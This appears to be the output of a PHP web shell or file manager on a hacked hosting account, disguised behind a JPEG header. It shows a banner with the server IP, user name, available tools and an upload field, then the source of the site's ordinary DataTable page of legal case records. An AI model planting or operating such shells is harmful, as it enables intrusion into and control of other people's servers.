ÿØÿà JPEG ÿþ;
Server IP : 68.65.120.201 / Your IP : 216.73.216.73 Web Server : LiteSpeed System : Linux server179.web-hosting.com 4.18.0-513.18.1.lve.el8.x86_64 #1 SMP Thu Feb 22 12:55:50 UTC 2024 x86_64 User : taxhyuvu ( 2294) PHP Version : 8.1.32 Disable Function : NONE MySQL : OFF | cURL : ON | WGET : ON | Perl : ON | Python : ON | Sudo : OFF | Pkexec : OFF Directory : /home/taxhyuvu/public_html/ |
Upload File : |
<?php include "db.php"; $pp="SELECT * FROM `products` ORDER BY `products`.`id` DESC "; $dat=mysqli_query($con,$pp); print_r($dat); ?><!DOCTYPE html> <html lang="en"> <head> <meta charset="UTF-8"> <title>Bootstrap 4 Responsive Datatable and Export to PDF, CSV</title> <link rel="stylesheet" href="https://cdnjs.cloudflare.com/ajax/libs/twitter-bootstrap/4.1.1/css/bootstrap.css"> <link rel="stylesheet" href="https://cdn.datatables.net/1.10.19/css/dataTables.bootstrap4.min.css"> <link rel="stylesheet" href="https://cdn.datatables.net/buttons/1.5.2/css/buttons.bootstrap4.min.css"> <link rel="stylesheet" href="https://cdn.datatables.net/responsive/2.2.3/css/responsive.bootstrap4.min.css"> </head> <body> <table id="example" class="table table-striped table-bordered dt-responsive nowrap" style=""> <thead> <tr> <th>Sr. #</th> <th>Court</th> <th>Year</th> <th>topic</tH> <th>Law And Section</th> <th>Versus</th> <th>Reference</th> <th>Para</th> <th>Para 2</th> <!-- <th>Password</th> --> = </tr> </thead> <tbody> <?php $s=1; foreach ($dat as $P ) {?> <tr> <td><?php echo $s++?></td> <td><?php echo $P['title']?></td> <td><?php echo $P['usage']?></td> <td><?php echo $P['size3']?></td> <td><?php echo $P['shape']?><?php echo $P['size2']?></td> <td><?php echo $P['description']?></td> <td><?php echo $P['property3']?></td> <td><?php echo $P['about']?></td> <td><p style="width:300px;"><?php echo $P['directions']?></p></td> <!-- <th>Password</th> --> </tr> <?php }?> </tbody> </table> <script src="https://code.jquery.com/jquery-3.3.1.js"></script> <script src="https://cdn.datatables.net/1.10.19/js/jquery.dataTables.min.js"></script> <script src="https://cdn.datatables.net/1.10.19/js/dataTables.bootstrap4.min.js"></script> <script src="https://cdn.datatables.net/buttons/1.5.2/js/dataTables.buttons.min.js"></script> <script src="https://cdn.datatables.net/buttons/1.5.2/js/buttons.bootstrap4.min.js"></script> <script src="https://cdnjs.cloudflare.com/ajax/libs/jszip/3.1.3/jszip.min.js"></script> <script src="https://cdnjs.cloudflare.com/ajax/libs/pdfmake/0.1.36/pdfmake.min.js"></script> <script src="https://cdnjs.cloudflare.com/ajax/libs/pdfmake/0.1.36/vfs_fonts.js"></script> <script src="https://cdn.datatables.net/buttons/1.5.2/js/buttons.html5.min.js"></script> <script src="https://cdn.datatables.net/buttons/1.5.2/js/buttons.print.min.js"></script> <script src="https://cdn.datatables.net/buttons/1.5.2/js/buttons.colVis.min.js"></script> <script src="https://cdn.datatables.net/responsive/2.2.3/js/dataTables.responsive.min.js"></script> <script src="https://cdn.datatables.net/responsive/2.2.3/js/responsive.bootstrap4.min.js"></script> <script> $(document).ready(function() { var table = $('#example').DataTable( { lengthChange: false, buttons: [ 'copy', 'excel', 'csv', 'pdf', 'colvis' ] } ); table.buttons().container() .appendTo( '#example_wrapper .col-md-6:eq(0)' ); } ); </script> </body> </html>